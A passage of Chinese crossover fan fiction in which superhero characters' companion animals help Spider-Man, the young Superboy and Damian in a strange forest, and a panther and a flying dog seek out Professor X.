隔着一面普通的墙并不会影响馍馍的能力范围，它在这边一样可以保护旺达。 布莱克认为馍馍完全可以以孩子的立场加入旺达和幻视之间。 馍馍却认为自己是守护者，不该占用那么幼稚的位置。 守护者？ 守护者不是更应该呆在他们身边吗？ 馍馍：……那多碍事啊。 布莱克更加听不懂了。 馍馍：…… 馍馍：你好笨哦。 布莱克：…… 布莱克：你看着好好吃哦。 两只小动物互相对视。 在无法轻易控制布莱克的情况下，馍馍先怂了，两只前蹄乖巧的缩在肚皮上，问：你找我有什么事情吗？ 布莱克：我要去找X教授，必须离开这里，在我回来之前你要帮我瞒住旺达。 布莱克松口答应帮忙这让馍馍十分高兴，它认真看着布莱克，感受大猫猫周身溢出的气息，因为天然屏蔽的缘故，馍馍无法读取布莱克的内心，可它依然可以通过外溢的那部分来判断布莱克的思绪倾向。 比如说现在，馍馍能读出布莱克没有骗人的意思。 馍馍为此发出快乐的啾鸣声。 至于需要隐瞒旺达的部分，它则表达出抗拒和不理解：但是，为什么瞒着旺达？ 关于这方面，布莱克也已经准备好了说辞：她那么喜欢幻视，多半会拒绝这个的，若是发生冲突，对她来说也不是件好事情。 布莱克试着模仿蝙蝠侠的那种循循善诱的语调，让自己表现的极具说服力，再加上它的提议和顾虑也确实值得考虑，馍馍很快便被说服了。 馍馍问：你要多久才能回来？ 布莱克并不知道。 而且它需要斯诺同行，没有斯诺的帮助，靠着布莱克在地面移动，光走出这座森林就需要几天的时间。 “哇。”达米安和小乔、小狐都留给你们做人质，有他们三个在，你就不用担心我会跑路了，至于斯诺那只狗，我要带走。 想要离开森林并在最短的时间找到X教授，飞行是个必不可少的能力，小狐也会飞，可年纪太小力气有限，很难带动布莱克这么大一只大猫猫。 馍馍能感觉到布莱克的坦诚，因此也向布莱克许诺：我会照顾好那两只人类幼崽和他们的伴生的。 布莱克略微点了下脑袋，然后抬头看向窗外。 斯诺正悬浮在那里。 白狗狗对这一切早有猜测，它预感到布莱克将会有所行动，所以在看到布莱克到处找馍馍的时候也跟着做好了准备。 “汪。”出发吧。 斯诺昂起头，摇晃口中叼着的东西。 馍馍好奇的看着，发现那是个超级巨大的筐，大到足够让一只美洲豹趴在里面，筐的手提部分是由一米左右的长绳组成，并特意弄成了很方便斯诺咬住的模样。 原来斯诺就是用这东西带着布莱克飞来飞去的。 布莱克好像很不喜欢这玩意，可也没什么选择的余地，它面无表情，英勇就义一般闭着眼睛钻进了篮筐里。 斯诺带着它飞向高空。 温度越来越低，它们却都不觉得寒冷。 “呜呜？” 咬着绳子的情况下斯诺发出的声音非常含糊，布莱克昂头听了一会才理解它想表达的，斯诺是在问：它们该如何找到X教授？ 很少离开北极堡垒的斯诺似乎并不知道X教授是谁。 布莱克倒是知道，再次感谢蝙蝠侠的资料库存。 但它也没注意去看那个变种人的具体地址，只知道对方性格不错，因为能力过于麻烦而被蝙蝠侠定为高度危险人员。 不过这点事情难不倒布莱克，它冲斯诺叫了一声，斯诺就跟声控飞机似的自行开始转向。 …… ………… 林间小屋。 旺达还在熟睡。 馍馍还在次卧里那专属于它的小窝中发呆。 小乔已经忙完了屋顶的工作，去帮达米安砍柴了，只有小狐似乎注意到了什么，昂头看向天空。 后院里小乔没找到达米安，正迷茫的看着被丢弃的斧头和进度大约只有一半的工作。 “罗宾呢？”小乔问。 小狐同样迷茫。 达米安已经离开林间小屋。 在注意到斯诺带着布莱克离开的时候，达米安就意识到这是个机会，在并不知道馍馍可以屏蔽旺达的情况下，达米安凭着战斗经验和胆大心细，就这么离开了。 为了避免节外生枝，他甚至没顾上去叫小乔。 小乔用了几秒钟来接受自己被达米安忘在这里，准确的说，是被达米安抛弃了的事实。 小狐就在他身边飘着，看着自己的孵化者露出弃犬似的表情，莫名的感到一丝无奈。 那就是个渣男啊…… 就算是出生仅仅几天的小狐都能看出来。 小乔你怎么就跟瞎了似的呢？ “呜嗯？”小狐小声赖叽，通过撒娇获得小乔的注意力，然后问他：我们也走么？ 他们两都会飞，在这地形复杂的林间，他们的移动速度肯定比达米安更快，如果小乔想要去追的话，小狐愿意循着达米安的气味为他引路。 小乔却没有那个打算。 “罗宾有他自己的计划，我们也有我们要做的事情。” 说着，小乔揉了揉小狐的脑袋，让它不要担心。 达米安有计划，他也有。 “你也听到了，对吧？” “嗯叽！” “我们去看看？” “嗯汪！” 作为犬科，小狐对于主人的所有决定都报以极大的热情，它昂着头，摇着尾巴，期待的等待小乔下达出发的命令。 小乔抬手示意小狐稍安勿躁。 首先要确定方位。 小乔开始校对方向，他看着森林，慢慢移动视线，听声辨位是需要训练才能完全掌握的技能，特别是对拥有超级听力的人来说更是困难。 不仅是方向的问题，还需要思考自己听到的到底是一千米开外的大声交流，还是百米左右的人在窃窃私语。 在这方面小乔还有些欠缺，他的听声辨位能力只能说是勉强在及格线以上。 不过这也足够用了。 何况还有小狐呢，他们俩互相核对，排除错误选项，总能找到正确的方向。 “汪~”小狐快乐的叫唤。 和小乔对了一下双方的判断，一人一狗想法一致。 于是小乔打头，向着那边飞了过去。 小狐自然是紧随其后。 第33章 传送门闪现,蜘蛛侠和三名佣兵扭打着从中掉了出来，塔塔追过来抱在一名举枪的佣兵手上，接着是锈斑猫,它直接在一名雇佣兵的鼻梁上开了一道血口。 漆黑色的巨型雪纳瑞站在门口,它没有跟进来,只是抬着头看向高处,脖子上用细细金色链子串着的玄戒徐徐生辉。 “为什么一只狗会开传送门！？” 佣兵头头忍不住怒骂, 被蜘蛛侠一拳打到闭嘴。 奇迹这才低头看向他们, 耳尖半折, 一副无辜的模样。 然后关上了门。 正打算在混战中找个机会再将人丢入传送门的蜘蛛侠顿时愣住了。 彼得：嗯？ ？ ？ 不是！我们还在这里？ ！ 他们是在回程的路上遭遇劫机遇到突发事件，飞机迫降到无人岛,对面大概有将近二十名佣兵,为了快速换装彼得用了斯塔克给的纳米制服,然后这只奇异博士的伴生汪就出现在他附近，为他打开传送门，其中一扇还开到复仇者大厦内部。 不过斯塔克先生那时候不在, 只有锈斑猫在沙发上睡觉，看到蜘蛛侠在跟人战斗，锈斑猫毫不犹豫的跳过传送门，来到蜘蛛侠和塔塔的身边。 为了不让战斗波及到普通人，奇迹多次打开传送门更换战场。 翻转再翻转的传送门让世界都跟着旋转起来。 永远不知道下一脚踩过去，地面会在脚下还是头上。 大部分敌人在传送中散落到世界各地，被蜘蛛侠的蛛网固定在各种地方, 最后只剩下五个家伙。 彼得正想着将他们收拾了然后去感谢一下奇迹，没想到对方直接关门了。 不知所措的彼得一时之间愣在原地。 这…… 毕竟是狗勾, 不是人类，也许是玄戒接触不良？ 彼得脑子里胡乱猜测对方突然关门的原因, 身体还在本能的运作，在蜘蛛警报的帮助下灵活闪避敌人的子弹，并用蛛网还击。 塔塔挂在一人的手臂上，阻止他开枪。 这些人类的注意力全在攻击蜘蛛侠身上，这让塔塔很难魅惑他们，不过现在就好了。 人类握枪的右手被水獭扒着，只能用另一只手掏出匕首，他盯着塔塔，本打算一刀捅死这只碍事的水耗子。 就在这时候，他和塔塔对上了视线。 黑珍珠似的眼睛里泛着少许焦糖般的暖光，它看起来就是世界上最甜蜜美好的东西，自然也该得到所有生灵的珍惜和爱护。 这种认知飞速侵蚀了佣兵的大脑。 佣兵从嗓子里发出嚯嚯的诡异声音，像是喘不上来气，他因为自己想要捅死水獭的想法而感到痛苦不堪，最终一匕首插入自己右手的上臂。 鲜血顿时喷涌而出，疼痛却并未让佣兵获得哪怕片刻的清醒。 这时彼得的蛛网射过来，将这人封在树干底部，塔塔则在佣兵开始发疯的时候就跳到一旁，退在安全的位置呆着。 锈斑猫那边的战斗更加混乱。 小小的锈斑猫只有一般，在一名佣兵身上到处爬，那佣兵暴露在外的手臂、脖子、脸都被锈斑猫开了无数道血口，伤口不深，却数量惊人，并且还在以肉眼可见的速度不断增加。 这就像是把他丢入一台杀伤力有限的绞肉机里。 看起来伤口不重，却有种被凌迟处死的诡异体感。 在锈斑猫把这个人的心理玩崩溃之前，彼得也封住了他。 还剩下的两个人彼得在间隙中也挨个处理完毕，战斗总算是告一段落。 现在的问题是，该怎么处理这五个人，以及……怎么处理他们自己。 这里是哪里？要怎么回到城市？他该用蜘蛛侠的身份带着五名佣兵直接出现，还是用彼得·帕克的身份，假设自己是被绑架后又被蜘蛛侠救了？ 这些都是需要思考的问题。 彼得一边思考该怎么办，一边逐一解除这些人的武装，将枪支弹药能拆的都拆分，取走关键的零件丢去远处，这些武器就彻底宣告报废，不能再成为任何人的威胁。 就在彼得冥思苦想的时候，他听到塔塔叫了一声。 “嘤嘤嘤！”小叽居！那里有会飞的狗勾！ ！ ！ “再等一下，塔塔乖。” 注意力不集中的彼得抽空揉了揉塔塔的脑袋，他只当做小水獭是被茂密的枝叶迷了眼睛，看东西都有些重影了，也不知道是把什么看成一只狗。 塔塔就超级不乐意的看着彼得，但也知道小叽居现在脑子比较忙，于是自己找了块大石头爬上去，探头探脑观察高处。 可惜这里角度太差，无论如何塔塔也看不清自己刚才看到的白乎乎的东西。 “嗯嗯……” 塔塔开始发出赖赖唧唧的撒娇声。 “喵。” 不知何时钻入灌木丛中进入伏击模式的锈斑猫钻了出来，它抖了抖毛，让自己退出战斗状态。 这座森林怪得很，什么动物昆虫都没有，锈斑猫有些警觉，因此一步都不离开塔塔周围，现在塔塔要求了，锈斑猫也只是跳上树，在较矮的枝丫上昂头观察。 锈斑猫也没看到什么白色的狗狗。 “喵呜？”你确定么？ 塔塔非常肯定。 于是锈斑猫就往更高处爬去。 它一直爬到树冠顶端，像是突破云层那样，突破了绿叶和枝丫的包围，当视野开阔的瞬间，锈斑猫终于看到了那只“会飞的狗狗”。 那确实是一只会飞的狗狗。 “汪！”狗狗开心的和锈斑猫打招呼：我是小狐，一只伴生银狐犬！ “汪汪？汪呜呜？？？”热情的狗勾发出一串叫声：你们怎么会出现在这里？是迷路了吗？需要帮助吗？饿不饿？需要水么？ 这只叫小狐的银狐犬更像是只救难犬。 锈斑猫脸都平了。 “猫？！” 树下传来彼得的叫声。 因为锈斑猫一直没有正式的名字，斯塔克觉得所有名字都配不上自己家完美的锈斑猫，迟迟无法决定，所以锈斑猫暂时就是锈斑猫，有时候大家会直接喊它“猫”。 “你在哪？”彼得在呼唤锈斑猫，“我怎么听到了狗叫声？” 还有塔塔的嘤嘤声：“嘤嘤叽叽啾！”我就说有只会飞的狗勾！肯定在树上！ 说着，塔塔将锈斑猫刚才爬的树指给彼得看。上树这事太为难水獭了，对于蜘蛛侠来说却是如履平地。 眨眼间彼得就上了树冠顶部，来到锈斑猫身旁，也看到了这只有些小巧，似乎还没有完全成年的小银狐犬。 彼得先是一愣，随后立刻反应过来。 “哦……嗨！你的孵化者呢？” “汪呜。”在上边哦。 彼得顺着银狐犬昂头指出的方向看过去，在一个接近云层的高度找到漂浮着正举目四望的小乔，穿着和超人一样红色披风的少年正在观察周围，感觉到彼得的视线才低下头去。 然后以不输给银狐犬的热情，向彼得招了招手，这时候彼得看见他胸口那个象征着希望的类似字母“ S”的氪星符号。 “稍等一下！”小乔冲下面大喊，“我在找方向。” 旺达和幻视家里的物资新鲜数量可观，自己没有畜牧也不种植，唯一的可能性就是外部获取，周围仅有的小镇封闭排外闹出频繁神隐的事情都没上新闻，他们藏在林间小屋，也不可能去镇上买。 大量的生活物资想要扛进来也不太可能，太多人进出反而引人注目，那种情况下想要保密，就不会是镇子里时不时的有人神隐，而是一整个镇子都跟着神隐了才对。 在不被太多人发现的前提条件下，排除有奇异博士那样的人开传送门给林间小屋送物资，小乔能想到的最大可能性就是某种高科技的足够安静的运输机，也就是说，这附近一定有运输机的起降场所。 果不其然，小乔在不远处找到一片空地，上面还做了少许的遮掩，让它在卫星上看起来与周围没什么不同，但若是直接用肉眼从高空的不同角度审视，还是能发现不自然的地方。 小乔默默记住那个位置，随后降下高度，来到蜘蛛侠和塔塔、锈斑猫他们的身边。 双方互相介绍了自己。 比起已经独当一面，站在那里就能让敌人闻风丧胆的蜘蛛侠，小超人还是个名不见经传的小角色，大部分反派对他的印象甚至不是超凡双子的一员，而仅仅只是“超人的儿子”。 更准确的说，是“超人的弱点”。 出乎小乔意外的是，蜘蛛侠真的知道他，说的不是“我知道你，那个超人的儿子”，或者其他什么差不多的话。 “你好，蜘蛛侠。”小乔很礼貌的打了招呼。 “我知道你，超级小子（Superboy），呃，嗯……小的那个。” 康纳和小乔目前的代号都是这个读法，彼得都拿不准自己是否需要特殊说明一下，自己知道的是他，而不是那个应该是他兄长的半氪星人。 好在小乔并不介意，阳光的笑着。 两个年轻人聊的不错。 蜘蛛侠试探着问出自己好奇的事情。 “为什么要用一个称号呢？不会很不方便吗？” “这个啊……” 倒也没什么需要隐瞒的，正义联盟的人都知道情况，一些关注他们超人家族的敌人也了解事情的原委，告诉蜘蛛侠也没什么关系。 小乔用一种盘腿席地而坐的姿态悬浮着，讲起当初的情况。 并在故事里隐去不该出现的本名，用“他”以及“那人”之类的来代替。 多年前，作为人造人的康纳从复制机里醒来，见到暂时加入少年正义联盟成为小队长的罗宾（迪克），他们一起从敌营逃脱，康纳也从迪克口中得知自己的基因一半来自超人，在混沌和迷茫过去后，康纳选择了“Superboy”作为自己的称号，并加入少年正义联盟，以此摆脱邪恶的纠缠。 几乎是前后脚的功夫，肯特农场里的小乔第一次觉醒了自己的能力。 摇摇晃晃的飞起来，告诉自己的父亲克拉克，自己也想要做超级英雄，称号就用“Superboy”。 作为“Superman”的克拉克自然不会反对这个。 没想到一转头，有个人居然先一步使用“Superboy”的称号活跃起来，进一步了解后对方体内居然还有自己的一半DNA。 那段时间超人都要掉头发了。 更不要说康纳体内的另一半DNA多么令人讨厌…… 小乔跳过了这一段，只给出结论：“但是父亲已经答应我了，所以我依然是Superboy。而他的选择也没有问题，所以他也是Superboy。” ** 康纳的出生设定基本以少正动画版为主，生活轨迹也走少正线，没被卢瑟养过 小乔和康纳都是“Superboy”，为了方便阅读理解，文中小乔会用“小超人”，康纳则用“超级小子”。 第34章 彼得听了超人家年轻一辈的故事,顿时感觉对方的情况真的好复杂，为什么那个年纪大的超级小子也有超人的血统？而超人好像从不认对方，也不会像带着年纪小的这个一样,带着到处跑,向别人介绍这是自己的孩子,同时却又默认对方可以用超级小子这个称呼。 Emmmm…… 好奇怪啊！ 所以前面那个到底是不是超人的私生子？ ？ ？ 这问题问出来就太不礼貌了, 彼得选择忍住这不恰当的好奇心, 选择先介绍自己的情况。 “我们是走法师的传送门过来的, 为了不在战斗中波及平民, 我们转移了几个地方，刚才要再次进传送门的时候, 呃……出了点意外, 没赶上。” 虽然这样说,可彼得心里还是明白的，奇迹是故意将他们留在这里。 至于其中的原因，彼得却完全没有头绪。 塔塔告诉彼得, 奇迹就是带来奇迹的那个奇迹。 小家伙说话有点绕，说话时也会围着彼得绕圈圈，彼得只能把它抱起来，手上不停地给水獭顺毛，脑子里在思考“奇迹”。 奇迹会带来奇迹。 那奇迹将他们放在这里，又是什么意思？ 这里有他们的奇迹，还是…… 他们本身就是那个奇迹……？ 他怀里的塔塔抬起脑袋,彼得迷茫的心情在不知不觉中传递给了自己的伴生，塔塔感受到那份疑惑,并与之产生微妙的共鸣。 我会是个奇迹吗？ 我将会成为某个人的奇迹，又或者,只是彼得的奇迹呢？ 伴生动物到底是因为什么而诞生在这世界上的？ 塔塔记得有次它看见锈斑猫在翻找斯塔克的资料库，就是在查询这个问题，锈斑猫似乎很在意这件事情。 在意它们这些伴生动物的诞生本身。 诞生就一定要有意义吗？ 塔塔歪着脑袋，有些不理解这个问题为何存在。 世界上那么多生灵，每一个都有自己独特的诞生意义吗？难道一定要具备某种意义才有资格诞生吗？ 塔塔认为这种事情并不重要。 没有意义也没有关系，快乐就好了。 不过，若是对于人类或者锈斑猫来说，是否拥有意义这件事情本身十分重要的话，那么塔塔就给自己的诞生一个意义好了。 “嘤叽~”塔塔就是小叽居的奇迹哦。 塔塔非常肯定的说道。 正在思考自己为何而来的彼得因此愣住。 边上小乔也跟着愣了一下，然后就听到自己身侧悬浮的小狐也跟着叫了一声：“汪！”我也是乔的奇迹呢！ 小乔陷入了感动。 小乔突然反应过来好像哪里不对劲。 小乔：！ ！ ！ 小乔一把握住了小狐的狗嘴。 似乎听到某个名字的蜘蛛侠低头用额头抵住塔塔的脑袋，假装自己沉迷和塔塔亲昵，完全没听到刚才小狐都说了什么。 等那边小乔手忙脚乱完毕，拉着小狐升上高空，彼得这才松了口气，放开塔塔，并认真告诉怀里的水獭。 “刚才我们什么都没有听到哦。” 塔塔疑惑的歪着脑袋：“嘤？”什么听到，没听到？ 彼得耐心的跟塔塔解释：“超级小子的名字什么的，我们都没有听到哦。” 塔塔这才恍然大悟，嘤嘤叫着表示自己知道了。 小水獭的叫声过于明快响亮，在这除去他们之外再无其他活物的森林中显得额外引人注目，不要说拥有超级听力的超人一家，就算是普通的人也很难忽视这一串赖赖唧唧的声响。 彼得想要捂住塔塔的嘴已经来不及了。 “……嘤嗯？”塔塔疑惑的看着彼得。 彼得也知道要完全弄明白各个人类之间复杂的身份关系，这本身就是在为难塔塔，此时也只能无奈的笑笑，揉两下水獭的小脑袋，让它下次注意。 “这种时候，点头就可以了哦。” 这种时候？ 塔塔将脑袋换了个方向歪。 这种时候是指哪种时候？ 是说“要当做没有听到”这种内容的时候，只要点头，不需要叫出声音的意思……？ 这样的思绪沿着伴生动物与孵化者之间天然的羁绊传向彼得，同时塔塔也能感觉到彼得的认可，他们完全无意识的进行了一次精神体之间的信息交换，跨越物种的拘束，脱离语言的限制，互相达成了完全的了解。 原来那个男孩也有秘密身份要保护啊。 和小叽居是一样的呢。 塔塔明白了，认真的对彼得点了一下脑袋，小小的嘴微微张开，像是在说“塔塔知道了哦，就像现在这样做，对吧”。 那一瞬的完全沟通，让他们连后续的肯定和鼓励都不再需要，塔塔已经从彼得的精神中感受到对方的喜悦，以及信任、安全感等多种情绪。 塔塔为此发出幸福的嗯叽声。 与此同时，在比云层更高，飞机都无法到达的高处，接连受到刺激的小乔也终于收拾好情绪，整理好思路，赶鸭子上架的开始教小狐如何保护大家的秘密身份。 “只要我穿着这身制服，我就是小超人，不可以叫我小乔、乔都不行，相反，如果我没有穿这套制服，就绝对不可以叫我小超人。” 和所有初次学习秘密身份的伴生小动物一样，小狐漂亮水润的眼瞳在短短一句话的时间里迅速变成了蚊香眼。 这让小乔无比的愧疚。 “抱歉，我知道这对动物来说太怪异了，是种很难理解的状态，但我真的需要你学会这个，好吗？我知道你能做到的。” 小乔试着像父亲鼓励自己那样去鼓励小狐。 聪明的小狐当然能学会这个，虽然对这条要求感到困惑，小狐还是选择听话的记住了它。 然后就是将其扩展开。 穿着超人制服的父亲是小超人的父亲，是超人。 没穿超人制服的父亲是小乔的父亲，是克拉克·肯特。 穿制服的父亲不是小乔的父亲。 没穿制服的父亲也不是小超人的父亲。 “……呜。” 银狐犬发出哀鸣声。 好复杂。 什么乱七八糟的杂草团子滚过去了。 小狐不懂这个世界为什么突然变得那么复杂，为什么有时候克拉克是小乔的父亲，有时候又不是，它无法理解那套制服为什么那么可怕。 “汪呜……？”超人的制服会让小乔的父亲消失吗……？ “不会的，”小乔肯定的告诉小狐，“父亲是这颗星球的守护者，而我也是这颗星球上的众多生灵之一，不论他是超人，或者仅仅只是我的父亲，他都永远在保护着我。” 小狐依然不明白，心中的迷茫却逐渐平静了下来。 坚定的信念和希望的光芒从小乔的心灵中满溢而出，也温暖了小狐。 懵懵懂懂之间，小狐好像学会了一些事情，它自己也不清楚那到底是什么，也许是从小乔身上学到的，也许是它自己因为心境的变化而领悟的。 总之，它不太一样了。 小乔似乎也感觉到那种微妙的不同。 怎么形容呢？ 就好像是一张空白的纸终于选出自己最喜欢的颜色，然后为自己染上了它。 不等小乔想清楚这到底意味着什么，他就听到远处传来很小的，属于达米安的声音。 “我搞定了。” “我知道你听得到，赶快给我过来。” 小乔迅速锁定达米安的方位，然后陷入苦恼。 达米安那边是必须要去回应的，自己的小伙伴很少邀请他人，能让达米安愿意开口，基本都是非小乔去不可的特殊情况。 但蜘蛛侠这边也让小乔有些在意。 法师就算临时有情况没来得及让他们进入传送阵，这么久了也该开门过来接人，现在却一直没有动静，也不知道是不是出了什么问题。 “汪。” 小狐对小乔不急不慢的摇着尾巴。 这意思非常明显——我来吧。 你去找达米安，我来陪伴蜘蛛侠和他的伴生动物。 我不仅是可爱乖巧的伴侣犬，同时也是你的守护者，可以保护你，以及你想要去保护的一切东西。 小乔撸了一把银狐犬的小脑壳。 “那就交给你了。” “汪！” 银狐犬从高空落下，仿若一颗银色的小太阳。 彼得肩膀左边顶着水獭，右边站着锈斑猫，昂头看它，问：“嗯？你的孵化者呢？” 小狐摇着尾巴，略显尖细的耳朵微微颤动，仿佛在给彼得指出方向：看，就在那边哦。 彼得往那个方向望过去，却什么都没有看到。 也许在云层上面吧。 蜘蛛侠猜测。 得知小狐就是来陪伴自己之后彼得哇哦出声，当狗勾亲昵撞过来，彼得干脆一把抱住它，左手银狐犬，右手小水獭，锈斑猫则跳上了彼得的脑袋。 猫猫需要距离感，猫猫不给乱撸。 彼得也尊重锈斑猫的独立，而且现在他一人身边三只毛茸茸，已经有些忙不过来了。 小狐的毛蓬松而柔软，在阳光下边缘呈现半透明的感觉，简直就是只小小的天使，塔塔的触感则柔顺细腻，短绒的毛摸起来滑而厚实，手感好到让人恨不得立刻将脸埋进去大吸一口。 这样左右开弓的撸，就算是彼得也有些撑不住，脑子变得空洞洞的，整个人都放松下来。 回过神来的时候，纳米战衣里的AI小姐姐告诉彼得，现在已经过去30分钟啦！ 彼得这才垂死梦中惊坐起。 “喵呜——！” 趴在彼得头顶的锈斑猫被掀翻，抱怨似的叫了一嗓子，又凑上来关心彼得：“喵？”做噩梦了？ “没有没有。”彼得摇头，不好意思的承认自己吸毛茸茸吸上头了，“只是太舒服了。” 不过……依然没有传送阵出现。 彼得呼出一口气， “好的，看来我们要自己走出这片森林了。” 虽然没有多少野外求生的经验，彼得却也不会紧张，他的战斗技能，加上蜘蛛感应的警报系统，足以应付所有野外危险，加上强悍的体质，也不怎么害怕寄生虫、中毒等情况。 他不怕林间猛兽，最大的问题反而是这座森林太空洞了些。 没有任何生物的足迹。 彼得有些怀疑，自己能否在这里抓到足以喂饱自己和三只小可爱的猎物？ 第35章 小乔叉腰看着达米安。 达米安叉腰看回去。 “为什么？”小乔头疼的扶额,他率先撑不住，换了姿势。 和蝙蝠家犟，这可真是连拥有超级意志力的超人家都难以做到的事情。 达米安哼出声来,理直气壮的告诉小乔：“如果不开屏蔽装置,下一刻蝙蝠侠就会找过来,我们还怎么完成行动？” “那你干嘛还关……” “我关了他们的, 开了我自己的, 这样屏蔽还在, 主动权却在我的手里。” 这话当然没有问题, 自己开屏蔽阻挡信号，和被他人屏蔽信号, 肯定是两种完全不同的情况, 小乔对此也非常明白, 可还是忍不住想要吐槽。 蝙蝠家的控制欲。 说白了，达米安防备的重点都不在敌人身上，而是蝙蝠侠！ 一旦蝙蝠侠成功介入这次行动, 控制权就会立刻被蝙蝠侠夺走，那才是最让达米安感到不爽的情况。 对此小乔也只能望天叹气，然后跳开话题。 “说起来……布莱克呢？” “不知道。”达米安也不清楚布莱克的想法，“它比大部分人类都要聪明，胆大心细，做事果断而且很有计划，完全不需要为它担心。” 小乔：“……” 嘶, 达米安的猫控是不是加重了…… “那……我们接下来做什么？” “这座森林完全没有动物，无法达成循环和能量转换,连昆虫都没有如何授粉就是个无解的问题。可这里没有破败，一定有什么特殊的东西在维持这份虚假繁荣。” “我知道, 但是，你有头绪吗？” “动动你的脑子……！” 达米安脑门上蹦出两根青筋，小乔并不怂，他完全是跟着超人学坏，超人的超级思维速度注定他智慧超群，却常常在统一行动中依赖蝙蝠脑，小乔现在也是这个毛病，就在那里等着达米安思考。 达米安暗骂一句上梁不正下梁歪。 小乔这才正经一些。 两人没有仔细交流过彼此的具体想法，却都能猜到，对方的想法和自己的差不多，小乔就指了一个方向，是小乔找到的那片被隐藏的非常好的运输机起降场。 他们总是如此合拍。 小乔只需要在起飞的同时伸出手，达米安自己就知道挂上来。 至于父亲说过的什么拎蝙蝠侠有多么困难，总是被嫌弃之类的，小乔是完全没有体验过，达米安乐意利用小乔的飞行能力，并认为这非常便利，如果小乔允许，也许达米安还会跳到他肩膀上去，那样骑的比较稳。 “为什么我们父亲不能这么合拍呢？” 小乔在飞行途中八卦。 他的斗篷可不是父亲那件特殊材质的氪星斗篷，不能帮助达米安抵御高速飞行中产生的巨大压力，因此他们飞得并不快，路上还有时间聊上两句。 达米安是个父控，立刻凶巴巴的告诉小乔：“那是因为你父亲没有礼貌，第一句话就扒人马甲。” “……那你父亲也扒回来了嘛。”小乔小声抗议。 达米安像是只炸毛的猫，一手抓着小乔的手挂在下面，昂着脑袋盯着小乔，嘴角抿出下塌的坡度，浑身上下都写满了“我现在超凶”以及三个放大加粗的感叹号。 不想挨挠的小乔识趣的闭嘴了，只在内心里努力憋笑。 …… ………… 泽维尔天才学院。 这里云集了各种各样的存在，任何变种人、问题少年、特殊存在，但凡是难以融入普通社会，同时又希望稳定自己的状态，甚至只是单纯的想要寻求一个归宿，一个可以回归之所的某种东西，只要没有侵害他人的主动意愿，并且愿意做个好学生，泽维尔学院都会为对方打开自己的大门。 但大部分时候，来这里的都是人，人形，或者类人生物。 至少在普遍认知中，他们的智慧层级看起来是相对统一的。 所以当有一天，一只白色巡回犬叼着一个大大的篮筐，筐里面还探出一只黑色美洲豹的脑袋时，这里见多识广的学生和教师们依然难免面露迷茫。 斯诺一点也不怯场，任由人们围观自己，就这么带着布莱克飞到正门口，将布莱克放在门口的台阶前，这里现在阳光正好，黑乎乎的豹子被晒得体温都上升了半度。 布莱克眯着眼睛，表示非常的不乐意，对着斯诺发出叫声。 然后抬头，看着台阶上站着的人。 很怪的，人类？ 是人类吗？ 布莱克的眉间隐约挤出微妙的“川”字，它看着面前这只蓝呼呼的野兽似的人类，一时之间闹不清楚对方的物种。 明明看着凶狠，却戴着副眼镜，又多了点人畜无害的学术气息…… 好怪。 在布莱克打量野兽的同时，这只浑身蓝色毛发的野兽也在看着它，并因为布莱克和斯诺而陷入沉思。 这是哪个能力是变成动物的变种人在变成动物后变不回来了吗？ 又或者是来请求收留的“伊普西隆”？ 不，有飞行能力至少不是“伊普西隆”等级了，而且他们动物化的非常完全，并不是普通伊普西隆级变种人的那种无法控制的扭曲变化。 “它们不是人类，也不是变种人。” X教授的声音出现在野兽的脑海中。 “把它们带上来吧，不用担心，它们并非不讲道理的家伙。” “它们”？ 那就不是变种人了，教授不会将变种人称为“它们”。 而X教授的能力可以阅读所有生物的脑波，虽然非人的话理解会有问题，却能通过不同脑波对物种做明确划分，包括普通人和变种人的脑波都有所区别。 可以说在辨认物种这方面，X教授是不会弄错的。 野兽很相信X教授，也很听X教授的话，教授虽然用的是“它们”，话中却是将它们当做智慧生物对待的意思，于是野兽在对这两只动物说话时也没把它们当成动物，没有去拍手吸引它们过来，而是像对待人类那样招呼它们。 “我叫汉克，变种人。教授邀请你们进来喝个下午茶，请进吧，但请小心不要吓到其他学生。” 汉克说的话简单易懂，而且还挺有礼貌，布莱克就是来找X教授的，自然不会拒绝。 斯诺更是主动靠近了一些。 “汪。”我是斯诺，一只伴生动物，请放心，我们会主动不要干扰学生们上课的。 这么一大段话，不是孵化者的野兽是妥妥的听不懂，只是觉得这两只动物还挺有灵性，像是真的听懂了自己在说什么，并且在回应自己。 可惜了，自己没能弄明白它们的意思。 野兽莫名的有种愧疚感，好像自己辜负了它们。 明明小动物都那么努力的理解人类的话语了，结果人类居然听不懂它们的喵喵和汪汪。 “……汉克。” X教授的声音再次响起。 汉克愣了一下，有些迷茫，不过还是迅速回过神来，在前面给斯诺和布莱克指路，领着它们上楼，往X教授的办公室走去。 白色巡回犬是常见品种，斯诺的特点在于它的毛看起来额外的白而柔顺，让人看着就忍不住想要上手去撸一把。 但也许是它那副正义又温和的模样多少带点教育者气息，周围来回走动被它吸引目光的学生们又在不知不觉中被默默退散，反而是突然认真起来，想翘课的都暂时忘记了自己的小计划，乖乖去教室报道了。 斯诺吸引的注意力暂时可控。 崩盘的是布莱克那边。 大黑猫已经足够凶狠了，甚至愿意龇牙直白的恐吓。 可还是有人想要对它上手！ 不知道是个什么东西，飞快的在布莱克身边轻轻撩了一下，那速度让布莱克几乎没有办法感觉到具体情况，只能勉强分辨应该是谁拍了自己的后腿。 后。腿。 猫，不喜欢被，自己不喜欢的家伙，接触，后腿！ 不管是拍是碰是撩还是摸！ 布莱克回头就是一顿警告的哈气。 可它背后哪里有什么人？ 布莱克为此愣住。 不仅是肉眼看不到，连气味也没有留下。 布莱克侧头嗅了嗅自己刚才感觉被碰到的位置，似乎也没什么新的味道，它强迫症的舔了两口，让自己的味道更厚实一些。 这个举动让斯诺误会了，它以为布莱克被弄疼了，或者干脆是受了伤却没有明显表达。 猫科本来就是很能忍耐的生物，断骨的情况都有可能一声不吭，只是自己找个角落呆着在那默默的舔毛，更别说这还是一只蝙蝠侠孵出来的大猫。 斯诺立刻来到布莱克身边，低头嗅了嗅它。 心情不佳的布莱克用肉垫在它脑袋上快速的拍了两三下。 哈气——！ 你也给我滚！ 斯诺缩起脖子。 没有露出尖爪攻击，也没有拍的非常用力，布莱克的理智还是在线的，看来是没有受伤，只是因为被冒犯了所以正在不爽。 “汪。”他是极速者，因为太快，连气味这样的信息因子都很难留下。 为了缓解大猫猫的不爽，斯诺将自己知道的告诉布莱克，它能跟上一般极速者的速度，对方也没有全力在跑，斯诺估算了一下，如果自己出其不意，是能逮到那个家伙的。 于是它向布莱克示意。 “汪呜。”你在这里等我，我去抓他。 布莱克好像更不爽了的样子，臭着一张脸不吭声。 